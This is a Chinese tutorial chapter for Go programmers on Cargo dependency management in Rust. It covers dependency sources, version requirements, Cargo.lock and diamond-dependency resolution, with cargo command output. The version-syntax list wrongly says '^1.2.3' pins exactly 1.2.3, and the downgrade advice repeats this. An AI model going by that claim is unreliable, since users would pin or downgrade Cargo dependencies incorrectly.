Go依赖管理回顾 从Go 1.11版本开始，Go引入了Go Modules以替代旧的GOPATH方式进行依赖管理。\n我们可以使用go mod init命令初始化一个新的Go模块。go mod init会创建一个go.mod文件，该文件记录了当前项目的模块路径，并通过require directive记录了当前模块的依赖项以及版本：\nrequire github.com/some/module v1.2.3 在开发过程中，我们也可以使用replace替换某个模块的路径，例如将依赖指向本地代码库进行调试：\nreplace example.com/some/module =\u0026gt; ../local/module 或是通过replace将依赖指向某个特定版本的包。Go 1.18引入的Go工作区模式让依赖本地包的动作更为便利丝滑。\nGo Modules支持语义版本控制（semver），版本号格式为vX.Y.Z（其中X是major，Y为minor，Z为patch）。当发生不兼容变化时X编号需要+1。Go创新性地使用了语义版本导入机制，通过在包导入路径上使用vX来支持导入同一个包的不同major版本：\nimport ( \u0026#34;github.com/some/module\u0026#34; v2 \u0026#34;github.com/some/module/v2\u0026#34; ) 无论是Go代码中引入新依赖，还是通过go mod edit命令手工修改依赖（升级、更新版本或降级版本），通过go mod tidy这个万能命令都可以自动清理和整理依赖。 go module还支持使用go.sum文件来记录每个依赖项的精确版本和校验和，确保依赖的完整性和安全性。go.sum文件应当提交到版本控制系统中。\n此外，go mod vendor支持将依赖项副本存储在本地，这可以使你的项目在没有网络连接的情况下构建，并且可以避免依赖项版本冲突。\nGo并没有采用像Rust、Js那样的中心module registry，而是采用了分布式go proxy来实现依赖发现与获取，默认的goproxy为proxy.golang.org，国内Gopher可以使用goproxy.cn、goproxy.io以及几个大厂提供的GOPROXY。\n注：更多关于Go module依赖管理的系统且详细的内容，可以看看我在极客时间“Go语言第一课”专栏中的两讲：06｜构建模式：Go是怎么解决包依赖管理问题的？和07｜构建模式：Go Module的6类常规操作。\n接下来，我们正式进入Rust的依赖管理环节，我们先来看看Cargo依赖的来源。\n5.2 Cargo依赖的来源 Rust的依赖管理系统中，Rust项目主要有以下几种依赖来源：\n来自crates.io的依赖：这是Rust官方的crate registry，包含了大量开源的Rust库。 来自某个git仓库的依赖：可以从任何git仓库添加依赖，特别是在开发阶段或使用未发布的版本时非常有用。 来自本地的crate依赖：可以添加本地文件系统中的crate，便于在开发过程中引用本地代码。 接下来，我们就来逐一看看在一个Cargo项目中如何配置这三种不同来源的依赖。\n5.2.1 来自crates.io的依赖 在Rust中，最常见的依赖来源是crates.io，这也是Rust官方维护的中心crate registry，我们可以通过cargo命令或手工修改Cargo.toml文件来添加这些依赖。我们用一个示例来说明一下如何为当前项目添加来自crates.io的依赖。\n我们先用cargo创建一个名为hello_world的binary项目：\n$cargo new hello_world --bin Created binary (application) `hello_world` package $cat Cargo.toml [package] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] //managing-deps/hello_world/src/main.rs fn main() { println!(\u0026#34;Hello, world!\u0026#34;); } 构建该项目，这与我们在《Gopher的Rust第一课：第一个Rust程序》一文中描述的别无二致：\n$cargo build Compiling hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/hello_world) Finished dev [unoptimized + debuginfo] target(s) in 1.07s $./target/debug/hello_world Hello, world! 现在我们改造一下main.rs代码，添加点“实用”代码（改自serde的example）：\n//managing-deps/hello_world/src/main.rs use serde::{Deserialize, Serialize}; #[derive(Serialize, Deserialize, Debug)] struct Point { x: i32, y: i32, } fn main() { println!(\u0026#34;Hello, world!\u0026#34;); let point = Point { x: 1, y: 2 }; // Convert the Point to a JSON string. let serialized = serde_json::to_string(\u0026amp;point).unwrap(); // Prints serialized = {\u0026#34;x\u0026#34;:1,\u0026#34;y\u0026#34;:2} println!(\u0026#34;serialized = {}\u0026#34;, serialized); // Convert the JSON string back to a Point. let deserialized: Point = serde_json::from_str(\u0026amp;serialized).unwrap(); // Prints deserialized = Point { x: 1, y: 2 } println!(\u0026#34;deserialized = {:?}\u0026#34;, deserialized); } 然后我们通过cargo check命令检查一下源码是否可以编译通过：\n$cargo check Checking hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/hello_world) error[E0432]: unresolved import `serde` --\u0026gt; src/main.rs:1:5 | 1 | use serde::{Deserialize, Serialize}; | ^^^^^ use of undeclared crate or module `serde` error[E0433]: failed to resolve: use of undeclared crate or module `serde_json` --\u0026gt; src/main.rs:14:22 | 14 | let serialized = serde_json::to_string(\u0026amp;point).unwrap(); | ^^^^^^^^^^ use of undeclared crate or module `serde_json` error[E0433]: failed to resolve: use of undeclared crate or module `serde_json` --\u0026gt; src/main.rs:20:31 | 20 | let deserialized: Point = serde_json::from_str(\u0026amp;serialized).unwrap(); | ^^^^^^^^^^ use of undeclared crate or module `serde_json` Some errors have detailed explanations: E0432, E0433. For more information about an error, try `rustc --explain E0432`. error: could not compile `hello_world` (bin \u0026#34;hello_world\u0026#34;) due to 3 previous errors cargo check提示找不到serde、serde_json两个crate。并且，cargo check执行后，多出一个Cargo.lock文件。由于此时尚未在Cargo.toml中添加依赖（虽然代码中明确了对serde和serde_json的依赖），Cargo.lock中还没有依赖package的具体信息：\n$cat Cargo.lock # This file is automatically @generated by Cargo. # It is not intended for manual editing. version = 3 [[package]] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; Rust是否可以像go module那样通过go mod tidy自动扫描源码并在Cargo.toml中补全依赖信息呢？然而并没有。Rust添加依赖的操作还是需要手动完成。\n我们的rust源码依赖serde和serde_json，接下来，我们就需要在Cargo.toml中手工添加serde、serde_json依赖，当然最标准的方法还是通过cargo add命令：\n$cargo add serde serde_json Adding serde v1.0.202 to dependencies. Features: + std - alloc - derive - rc - serde_derive - unstable Adding serde_json v1.0.117 to dependencies. Features: + std - alloc - arbitrary_precision - float_roundtrip - indexmap - preserve_order - raw_value - unbounded_depth 我们查看一下cargo add执行后的Cargo.toml：\n$cat Cargo.toml [package] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] serde = \u0026#34;1.0.202\u0026#34; serde_json = \u0026#34;1.0.117\u0026#34; 我们看到在dependencies下新增了两个直接依赖信息：serde和serde_json以及它们的版本信息。\n关于依赖版本，Cargo定义了的兼容性规则如下：\n针对在1.0版本之前的版本，比如0.x.y，语义版本规范认为是处于初始开发阶段，公共API是不稳定的，因此没有明确兼容性语义。但Cargo对待这样的版本的规则是：0.x.y与0.x.z是兼容的，如果x \u0026gt; 0且y \u0026gt;=z。比如：0.1.10是兼容0.1.1的。而在1.0版本之后，Cargo参考语义版本规范确定版本兼容性。\n基于上述的兼容性规则，在Cargo.toml中指定依赖版本的形式与语义有如下几种情况：\nsome_crate = \u0026#34;1.2.3\u0026#34; =\u0026gt; 版本范围[1.2.3, 2.0.0)。 some_crate = \u0026#34;1.2\u0026#34; =\u0026gt; 版本范围[1.2.0, 2.0.0)。 some_crate = \u0026#34;1\u0026#34; =\u0026gt; 版本范围[1.0.0, 2.0.0)。 some_crate = \u0026#34;0.2.3\u0026#34; =\u0026gt; 版本范围[0.2.3, 0.3.0)。 some_crate = \u0026#34;0.2\u0026#34; =\u0026gt; 版本范围[0.2.0, 0.3.0)。 some_crate = \u0026#34;0\u0026#34; =\u0026gt; 版本范围[0.0.0, 1.0.0)。 some_crate = \u0026#34;0.0\u0026#34; =\u0026gt; 版本范围[0.0.0, 0.1.0)。 some_crate = \u0026#34;0.0.3\u0026#34; =\u0026gt; 版本范围[0.0.3, 0.0.4)。 some_crate = \u0026#34;^1.2.3\u0026#34; =\u0026gt; 版本范围[1.2.3]。 some_crate = \u0026#34;~1.2.3\u0026#34; =\u0026gt; 版本范围[1.2.3, 1.3.0)。 some_crate = \u0026#34;~1.2\u0026#34; =\u0026gt; 版本范围[1.2.0, 1.3.0)。 some_crate = \u0026#34;~1\u0026#34; =\u0026gt; 版本范围[1.0.0, 2.0.0)。 Cargo还支持一些带有通配符的版本需求形式：\nsome_crate = \u0026#34;*\u0026#34; =\u0026gt; 版本范围[0.0.0, )。 some_crate = \u0026#34;1.*\u0026#34; =\u0026gt; 版本范围[1.0.0, 2.0.0)。 some_crate = \u0026#34;1.2.*\u0026#34; =\u0026gt; 版本范围[1.2.0, 1.3.0)。 如果要限制最高版本范围，可以用带有多版本的需求形式：\nsome_crate = \u0026#34;\u0026gt;=1.2, \u0026lt; 1.5\u0026#34; =\u0026gt; 版本范围[1.2.0, 1.5.0)。 有了版本范围后，Cargo初始就会使用该范围内的当前最大版本号版本作为依赖的最终版本。比如some_crate = \u0026ldquo;1.2.3\u0026rdquo;，但当前some_crate的最高版本为1.3.5，那么Cargo会选择1.3.5的some_crate作为当前项目的依赖。\n如果一个项目有两个依赖项同时依赖另外一个共同的依赖，比如(例子来自Cargo book)：\n# Package A [dependencies] bitflags = \u0026#34;1.0\u0026#34; # Package B [dependencies] bitflags = \u0026#34;1.1\u0026#34; 那么A依赖bitflags的范围在[1.0.0, 2.0.0)，B依赖bitflags的范围在[1.1.0, 2.0.0)，这样如果当前bitflags的最新版本为1.2.1，那么Cargo会选择1.2.1作为bitflags的最终版本。这点与Go的最小版本选择(mvs)是不一样的，在这个示例情况下，Go会选择bitflags的1.1.0版本，即满足A和B的bitflags的最小版本即可。\n后续当依赖的版本有更新时，可以执行cargo update升级依赖的版本到一个兼容的、更高的版本(体现在Cargo.lock文件中依赖的版本更新)。\nCargo.lock是锁定Cargo最终采用的依赖的版本的描述文件，这个文件由cargo管理，不要手动修改，这时的Cargo.lock文件如下：\n$cat Cargo.lock # This file is automatically @generated by Cargo. # It is not intended for manual editing. version = 3 [[package]] name = “hello_world” version = “0.1.0″ dependencies = [ \u0026#34;serde\u0026#34;, \u0026#34;serde_json\u0026#34;, ] [[package]] name = “itoa” version = “1.0.11″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b” [[package]] name = “proc-macro2″ version = “1.0.83″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “0b33eb56c327dec362a9e55b3ad14f9d2f0904fb5a5b03b513ab5465399e9f43″ dependencies = [ \u0026#34;unicode-ident\u0026#34;, ] [[package]] name = “quote” version = “1.0.36″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7″ dependencies = [ \u0026#34;proc-macro2\u0026#34;, ] [[package]] name = “ryu” version = “1.0.18″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f” [[package]] name = “serde” version = “1.0.202″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “226b61a0d411b2ba5ff6d7f73a476ac4f8bb900373459cd00fab8512828ba395″ dependencies = [ \u0026#34;serde_derive\u0026#34;, ] [[package]] name = “serde_derive” version = “1.0.202″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “6048858004bcff69094cd972ed40a32500f153bd3be9f716b2eed2e8217c4838″ dependencies = [ \u0026#34;proc-macro2\u0026#34;, \u0026#34;quote\u0026#34;, \u0026#34;syn\u0026#34;, ] [[package]] name = “serde_json” version = “1.0.117″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “455182ea6142b14f93f4bc5320a2b31c1f266b66a4a5c858b013302a5d8cbfc3″ dependencies = [ \u0026#34;itoa\u0026#34;, \u0026#34;ryu\u0026#34;, \u0026#34;serde\u0026#34;, ] [[package]] name = “syn” version = “2.0.65″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “d2863d96a84c6439701d7a38f9de935ec562c8832cc55d1dde0f513b52fad106″ dependencies = [ \u0026#34;proc-macro2\u0026#34;, \u0026#34;quote\u0026#34;, \u0026#34;unicode-ident\u0026#34;, ] [[package]] name = “unicode-ident” version = “1.0.12″ source = “registry+https://github.com/rust-lang/crates.io-index” checksum = “3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b” 和go.sum类似（但go.sum并不指示依赖项采用的具体版本), Cargo.lock中对于每个依赖项都包括名字、具体某个版本、来源与校验和。\n我们再用cargo check一下该项目是否可以编译成功：\n$cargo check Compiling serde v1.0.202 Compiling serde_json v1.0.117 Checking ryu v1.0.18 Checking itoa v1.0.11 Checking hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/hello_world) error: cannot find derive macro `Serialize` in this scope --\u0026gt; src/main.rs:3:10 | 3 | #[derive(Serialize, Deserialize, Debug)] | ^^^^^^^^^ | note: `Serialize` is imported here, but it is only a trait, without a derive macro --\u0026gt; src/main.rs:1:26 | 1 | use serde::{Deserialize, Serialize}; | ^^^^^^^^^ error: cannot find derive macro `Deserialize` in this scope --\u0026gt; src/main.rs:3:21 | 3 | #[derive(Serialize, Deserialize, Debug)] | ^^^^^^^^^^^ | note: `Deserialize` is imported here, but it is only a trait, without a derive macro --\u0026gt; src/main.rs:1:13 | 1 | use serde::{Deserialize, Serialize}; | ^^^^^^^^^^^ error[E0277]: the trait bound `Point: Serialize` is not satisfied --\u0026gt; src/main.rs:14:44 | 14 | let serialized = serde_json::to_string(\u0026amp;point).unwrap(); | --------------------- ^^^^^^ the trait `Serialize` is not implemented for `Point` | | | required by a bound introduced by this call | = help: the following other types implement trait `Serialize`: bool char isize i8 i16 i32 i64 i128 and 131 others note: required by a bound in `serde_json::to_string` --\u0026gt; /Users/tonybai/.cargo/registry/src/rsproxy.cn-8f6827c7555bfaf8/serde_json-1.0.117/src/ser.rs:2209:17 | 2207 | pub fn to_string\u0026lt;T\u0026gt;(value: \u0026amp;T) -\u0026gt; Result\u0026lt;String\u0026gt; | --------- required by a bound in this function 2208 | where 2209 | T: ?Sized + Serialize, | ^^^^^^^^^ required by this bound in `to_string` error[E0277]: the trait bound `Point: Deserialize\u0026lt;\u0026#39;_\u0026gt;` is not satisfied --\u0026gt; src/main.rs:20:31 | 20 | let deserialized: Point = serde_json::from_str(\u0026amp;serialized).unwrap(); | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ the trait `Deserialize\u0026lt;\u0026#39;_\u0026gt;` is not implemented for `Point` | = help: the following other types implement trait `Deserialize\u0026lt;\u0026#39;de\u0026gt;`: bool char isize i8 i16 i32 i64 i128 and 142 others note: required by a bound in `serde_json::from_str` --\u0026gt; /Users/tonybai/.cargo/registry/src/rsproxy.cn-8f6827c7555bfaf8/serde_json-1.0.117/src/de.rs:2676:8 | 2674 | pub fn from_str\u0026lt;\u0026#39;a, T\u0026gt;(s: \u0026amp;\u0026#39;a str) -\u0026gt; Result\u0026lt;T\u0026gt; | -------- required by a bound in this function 2675 | where 2676 | T: de::Deserialize\u0026lt;\u0026#39;a\u0026gt;, | ^^^^^^^^^^^^^^^^^^^ required by this bound in `from_str` For more information about this error, try `rustc --explain E0277`. error: could not compile `hello_world` (bin \u0026#34;hello_world\u0026#34;) due to 4 previous errors 似乎是依赖包缺少某个feature。我们重新add一下serde依赖，这次带着必要的feature：\n$cargo add serde --features derive,serde_derive Adding serde v1.0.202 to dependencies. Features: + derive + serde_derive + std - alloc - rc - unstable 然后再执行check：\n$cargo check Compiling proc-macro2 v1.0.83 Compiling unicode-ident v1.0.12 Compiling serde v1.0.202 Compiling quote v1.0.36 Compiling syn v2.0.65 Compiling serde_derive v1.0.202 Checking serde_json v1.0.117 Checking hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/hello_world) Finished dev [unoptimized + debuginfo] target(s) in 8.50s 我们看到，当开启serde的derive和serde_derive feature后，项目代码就可以正常编译和运行了，下面是运行结果：\n$cargo run Compiling itoa v1.0.11 Compiling ryu v1.0.18 Compiling serde v1.0.202 Compiling serde_json v1.0.117 Compiling hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/hello_world) Finished dev [unoptimized + debuginfo] target(s) in 4.16s Running `target/debug/hello_world` Hello, world! serialized = {\u0026#34;x\u0026#34;:1,\u0026#34;y\u0026#34;:2} deserialized = Point { x: 1, y: 2 } 注：feature是cargo提供的一种条件编译和选项依赖的机制，有些类似于Go build constraints，但表达能力和控制精细度要远超go build constraints，但其复杂度也远超go build constraints。在本章中，我们不对feature进行展开说明，更多关于feature的详细说明，请参见cargo feature参考手册。\n除了官方的crates.io，Cargo还支持来自其他非官方的Registry的依赖，比如使用企业私有crate registry，这个不在本章内容范围内，后续会考虑用专题的形式说明。\n考虑crates.io在海外，国内Rustaceans可以考虑使用国内的crate源，比如使用rsproxy源的配置如下：\n// ~/.cargo/config [source.crates-io] replace-with = \u0026#39;rsproxy\u0026#39; [source.rsproxy] registry = \u0026#34;https://rsproxy.cn/crates.io-index\u0026#34; [source.rsproxy-sparse] registry = \u0026#34;sparse+https://rsproxy.cn/index/\u0026#34; [registries.rsproxy] index = \u0026#34;https://rsproxy.cn/crates.io-index\u0026#34; [net] git-fetch-with-cli = true git-fetch-with-cli = true表示使用本地git命令去获取registry index，否则使用内置的git库来获取。\n5.2.2 来自git仓库的依赖 有时候，我们可能需要依赖一个尚未发布到crates.io上的库，这时可以通过git仓库来添加依赖。当然，这一方式也非常适合一些企业内的私有git仓库上的依赖。在Go中，如果没有一些额外的IT设置支持，便很难拉取私有仓库上的go module。\n下面我们使用下面命令将Cargo.toml中的serde依赖改为从git repo获取：\n$cargo add serde --features derive,serde_derive --git https://github.com/serde-rs/serde.git Updating git repository `https://github.com/serde-rs/serde.git` Adding serde (git) to dependencies. Features: + derive + serde_derive + std - alloc - rc - unstable 更新后的Cargo.toml依赖列表变为了：\n[dependencies] serde = { git = \u0026#34;https://github.com/serde-rs/serde.git\u0026#34;, version = \u0026#34;1.0.202\u0026#34;, features = [\u0026#34;derive\u0026#34;, \u0026#34;serde_derive\u0026#34;] } serde_json = \u0026#34;1.0.117\u0026#34; 不过当我执行cargo check时报如下错误：\n$cargo check Updating git repository `https://github.com/serde-rs/serde.git` remote: Enumerating objects: 28491, done. remote: Counting objects: 100% (6879/6879), done. remote: Compressing objects: 100% (763/763), done. remote: Total 28491 (delta 6255), reused 6560 (delta 6111), pack-reused 21612 Receiving objects: 100% (28491/28491), 7.97 MiB | 205.00 KiB/s, done. Resolving deltas: 100% (20065/20065), done. From https://github.com/serde-rs/serde * [new ref] -\u0026gt; origin/HEAD * [new tag] v0.2.0 -\u0026gt; v0.2.0 * [new tag] v0.2.1 -\u0026gt; v0.2.1 * [new tag] v0.3.0 -\u0026gt; v0.3.0 * [new tag] v0.3.1 -\u0026gt; v0.3.1 ... ... * [new tag] v1.0.98 -\u0026gt; v1.0.98 * [new tag] v1.0.99 -\u0026gt; v1.0.99 Compiling serde v1.0.202 Compiling serde_derive v1.0.202 (https://github.com/serde-rs/serde.git#37618545) Compiling serde v1.0.202 (https://github.com/serde-rs/serde.git#37618545) Checking serde_json v1.0.117 Checking hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/hello_world) error[E0277]: the trait bound `Point: serde::ser::Serialize` is not satisfied --\u0026gt; src/main.rs:14:44 ... ... 在serde的github issue中，这个问题似乎已经修正，但在我的环境下不知何故依旧存在。\n在使用git来源时，我们也可以指定一个特定的分支、tag或者commit：\n[dependencies] serde = { git = \u0026#34;https://github.com/serde-rs/serde.git\u0026#34;, branch = \u0026#34;next\u0026#34; } # 或者 serde = { git = \u0026#34;https://github.com/serde-rs/serde.git\u0026#34;, tag = \u0026#34;v1.0.104\u0026#34; } # 或者 serde = { git = \u0026#34;https://github.com/serde-rs/serde.git\u0026#34;, rev = \u0026#34;a1b2c3d4\u0026#34; } 5.2.3 来自本地的crate依赖 在开发过程中，我们还可能需要引用本地文件系统中的crate。在Go中，我们可以使用go mod的replace或者Go workspace来解决该问题。在Rust中，我们也可以通过下面方式来添加本地依赖：\n$cargo add serde --features derive,serde_derive --path ../serde/serde Adding serde (local) to dependencies. Features: + derive + serde_derive + std - alloc - rc - unstable // Cargo.toml [dependencies] serde = { version = \u0026#34;1.0.202\u0026#34;, features = [\u0026#34;derive\u0026#34;, \u0026#34;serde_derive\u0026#34;], path = \u0026#34;../serde/serde\u0026#34; } 不过，和来自git一样，基于来自本地的crate依赖，cargo check也报和基于git的crate依赖同样的错误。\n5.3 Cargo依赖常见操作 下面简要说说依赖的常见操作，以来自crates.io的依赖为例。\n5.3.1 添加依赖 正如上面示例中我们演示的那样，我们可以通过cargo add来添加一个依赖，或者可以通过手工编辑Cargo.toml文件添加对应的配置。例如，添加一个源自crates.io的新依赖rand库：\n[dependencies] rand = \u0026#34;0.8\u0026#34; 5.3.2 升降版本 要升级某个依赖到兼容的最新版本，可以使用cargo update；如果升级到不兼容版本，需要先修改Cargo.toml中的版本需求。例如，将rand库升级到2.x版本：\n[dependencies] rand = \u0026#34;2.0\u0026#34; 然后运行cargo update，Cargo会根据新的版本号需求进行重新解析依赖。\n当然要降级依赖的版本到一个兼容的版本，通常可能需要在版本需求中使用类似“^x.y.z”来精确指定版本；如果要降级到一个不兼容版本，和升级到不兼容版本一样，需要先修改Cargo.toml中的版本需求，然后运行cargo update，Cargo会根据新的版本号需求进行重新解析依赖。\n5.3.3 删除依赖 删除一个依赖则十分容易，只需从Cargo.toml中移除或注释掉对应的依赖配置， 然后运行cargo build，Cargo会更新项目的依赖关系。\n5.4 处理依赖同一个依赖项的不同版本 在某些情况下，不同的crate可能依赖同一个crate的不同版本，这也是编程语言中典型的钻石依赖问题！是一个常见的依赖管理挑战。它发生在一个依赖项被两个或更多其他依赖项共享时。比如：app依赖A、B ，而A、B又同时依赖C。\n在这样的情况下，前面我们提过Go给出的解决方案包含三点：\n若A、B依赖的C的版本相同，那么选取这个相同的C版本即可； 若A、B依赖的C的版本不同但兼容（依照semver规范），那么选取C满足A、B依赖的最小版本，这叫做最小版本选择； 若A、B依赖的C的版本不同且不兼容，那么通过语义导入版本，最终app将导入C的不同版本，这两个版本将在app中共存。 那么在Rust项目中，Cargo又是如何处理的呢？我们通过一个示例分别来看看这三种情况，我们创建一个app的示例：\n// 在rust-guide-for-gopher/managing-deps目录下 $tree -F app app ├── A/ │ ├── Cargo.toml │ └── src/ │ └── lib.rs ├── B/ │ ├── Cargo.toml │ └── src/ │ └── lib.rs ├── C/ │ ├── Cargo.lock │ ├── Cargo.toml │ └── src/ │ └── lib.rs ├── Cargo.lock ├── Cargo.toml └── src/ └── main.rs 7 directories, 10 files app是一个binary cargo project，它的Cargo.toml和src/main.rs内容如下：\n// app/Cargo.toml [package] name = \u0026#34;app\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] A = { path = \u0026#34;./A\u0026#34;, version = \u0026#34;0.1.0\u0026#34; } B = { path = \u0026#34;./B\u0026#34;, version = \u0026#34;0.1.0\u0026#34; } // app/src/main.rs fn main() { println!(\u0026#34;Hello, world!\u0026#34;); A::hello_from_a(); B::hello_from_b(); } 我们看到：app依赖crate A和B，并且分别调用了两个crate的公共函数。\n接下来，我们再来看看A和B的情况，我们分场景说明。\n5.4.1 依赖C的相同版本 当A和B依赖C的相同版本时，这个不难推断cargo最终会为A和B选择同一个依赖C的版本。比如：\n$cat A/Cargo.toml [package] name = \u0026#34;A\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C = { path = \u0026#34;../C\u0026#34;, version = \u0026#34;1.0.0\u0026#34; } $cat B/Cargo.toml [package] name = \u0026#34;B\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C = { path = \u0026#34;../C\u0026#34;, version = \u0026#34;1.0.0\u0026#34; } $cat A/src/lib.rs pub fn hello_from_a() { println!(\u0026#34;Hello from A begin\u0026#34;); C::hello_from_c(); println!(\u0026#34;Hello from A end\u0026#34;); } $cat B/src/lib.rs pub fn hello_from_b() { println!(\u0026#34;Hello from B begin\u0026#34;); C::hello_from_c(); println!(\u0026#34;Hello from B end\u0026#34;); } $cat C/Cargo.toml [package] name = \u0026#34;C\u0026#34; version = \u0026#34;1.3.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] $cat C/src/lib.rs pub fn hello_from_c() { println!(\u0026#34;Hello from C 1.3.0\u0026#34;); } 在这里A和B对C的依赖都是version = \u0026ldquo;1.0.0\u0026rdquo;，通过前面的讲解我们知道，这等价于C的版本范围为[1.0.0, 2.0.0)。而C目前的版本为1.3.0，那么Cargo就会为A和B都选择1.3.0版本的C。我们运行一下这个app程序：\n$cargo run ... ... Hello, world! Hello from A begin Hello from C 1.3.0 Hello from A end Hello from B begin Hello from C 1.3.0 Hello from B end 我们还可以通过cargo tree命令验证一下对A和B对C版本的依赖：\n$cargo tree --workspace --target all --all-features --invert C C v1.3.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/C) ├── A v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/A) │ └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app) └── B v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/B) └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app) 我们看到A和B都依赖了C的v1.3.0版本。\n5.4.2 依赖C的两个兼容版本 现在我们修改一下A和B对C的依赖版本需求：\n$cat A/Cargo.toml [package] name = \u0026#34;A\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C = { path = \u0026#34;../C\u0026#34;, version = \u0026#34;1.1.1\u0026#34; } $cat B/Cargo.toml [package] name = \u0026#34;B\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C = { path = \u0026#34;../C\u0026#34;, version = \u0026#34;1.2.3\u0026#34; } 让A对C的依赖需求为1.1.1，让B依赖需求为1.2.3，这回我们再来运行一下cargo run和cargo tree：\n$cargo run ... ... Hello, world! Hello from A begin Hello from C 1.3.0 Hello from A end Hello from B begin Hello from C 1.3.0 Hello from B end $cargo tree --workspace --target all --all-features --invert C C v1.3.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/C) ├── A v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/A) │ └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app) └── B v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/B) └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app) 由于1.1.1和1.2.3是兼容版本，因此Cargo选择了兼容这两个版本的C当前的最高版本1.3.0。\n5.4.3 依赖C的两个不兼容版本 现在我们来试验一下当A和B依赖的C版本不兼容时，Cargo会为A和B选择C的什么版本！由于是本地环境，我们无法在一个目录下保存两个C版本，因此我们copy一份当前的C组件，将拷贝重命名为C-1.3.0，然后将C下面的Cargo.toml和src/lib.rs修改成下面的样子：\n$cat C/Cargo.toml [package] name = \u0026#34;C\u0026#34; version = \u0026#34;2.4.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] $cat C/src/lib.rs pub fn hello_from_c() { println!(\u0026#34;Hello from C 2.4.0\u0026#34;); } 然后我们修改一下A和B的依赖，让他们分别依赖C-1.3.0和C：\n$cat A/Cargo.toml [package] name = \u0026#34;A\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C = { path = \u0026#34;../C-1.3.0\u0026#34;, version = \u0026#34;1.1.1\u0026#34; } $cat B/Cargo.toml [package] name = \u0026#34;B\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C = { path = \u0026#34;../C\u0026#34;, version = \u0026#34;2.2.3\u0026#34; } 我们再来运行一下该app：\n$cargo run ... ... Hello, world! Hello from A begin Hello from C 1.3.0 Hello from A end Hello from B begin Hello from C 2.4.0 Hello from B end 我们看到cargo为A选择的版本是C v1.3.0，而为B选择的C版本是C v2.4.0，也就是说C的两个不兼容版本在app中可以同时存在。\n让我们再来用cargo tree查看一下对C的依赖关系：\n$cargo tree --workspace --target all --all-features --invert C error: There are multiple `C` packages in your project, and the specification `C` is ambiguous. Please re-run this command with one of the following specifications: C@1.3.0 C@2.4.0 我们看到，cargo tree提示我们两个版本不兼容，必须明确指明是要查看哪个C版本的依赖，那我们就分别按版本查看一下：\n$cargo tree --workspace --target all --all-features --invert C@1.3.0 C 